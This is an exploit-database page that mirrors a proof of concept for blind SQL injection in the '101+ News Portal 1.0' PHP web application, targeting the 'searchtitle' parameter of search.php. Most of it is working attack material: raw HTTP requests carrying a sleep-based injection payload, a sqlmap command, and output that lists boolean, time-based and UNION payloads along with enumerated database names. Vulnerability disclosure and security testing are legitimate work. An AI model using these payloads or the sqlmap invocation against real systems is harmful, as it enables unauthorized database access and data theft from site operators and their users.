Advertisement






101+ News Portal 1.0 SQL Injection

CVE Category Price Severity
CWE-89 Not specified High
Author Risk Exploitation Type Date
Not specified High Remote 2023-03-22
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023030049

Below is a copy:

101+ News Portal 1.0 SQL Injection
# Exploit Title: 101+ News Portal - SQLi
# Date: 19/03/2023
# Exploit Author: Abdulhakim ner
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/16067/best-online-news-portal-project-php-free-download.html
# Software Download: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/101news_0.zip
# Version: 1.0
# Tested on: Windows, Linux

## Description 
A Blind SQL injection vulnerability in the page (/101news/search.php) in 101+ News Portal allows remote unauthenticated attackers to execute remote arbitrary SQL commands through "searchtitle" parameter. 

## Request PoC
```
POST /101news/search.php HTTP/1.1
Host: 192.168.1.101
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Connection: close
Cache-Control: max-age=0
Referer: http://192.168.1.101/101news/
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Cookie: PHPSESSID=o5fslt60dlojncb7jnft04lps9

searchtitle=232943'

```

This request causes an error. Adding "'%2b(select*from(select(sleep(20)))a)%2b'" to the end of "searchtitle" parameter, the response to request was 200 status code with message of OK, but 20 seconds later, which indicates that our sleep 20 command works. 

```
POST /101news/search.php HTTP/1.1
Host: 192.168.1.101
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Connection: close
Cache-Control: max-age=0
Referer: http://192.168.1.101/101news/
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Cookie: PHPSESSID=o5fslt60dlojncb7jnft04lps9

searchtitle=232943'%2b(select*from(select(sleep(20)))a)%2b'

```

## Exploit with sqlmap
Save the request from burp to file 
```
(rootcaesar)-[/home/kali/Workstation/multi]
# sqlmap -r sqli.txt -p 'searchtitle' --batch --dbs --level=3 --risk=2                                           
---snip---
POST parameter 'searchtitle' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 114 HTTP(s) requests:
---
Parameter: searchtitle (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: searchtitle=232943' AND 3793=(SELECT (CASE WHEN (3793=3793) THEN 3793 ELSE (SELECT 6168 UNION SELECT 2808) END))-- KdPX

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: searchtitle=232943' AND (SELECT 1460 FROM (SELECT(SLEEP(5)))dqHc)-- zMGY

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: searchtitle=232943' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162787071,0x457444695056617478516b4b4f666e73744162466478444e5061624161514f78726c727777764c6b,0x716a6b6271)-- -
---
[18:01:02] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.2.0, Apache 2.4.54
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[18:01:02] [INFO] fetching database names
available databases [5]:
[*] information_schema
[*] mysql
[*] newsportal
[*] performance_schema
[*] phpmyadmin
---snip---

```

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum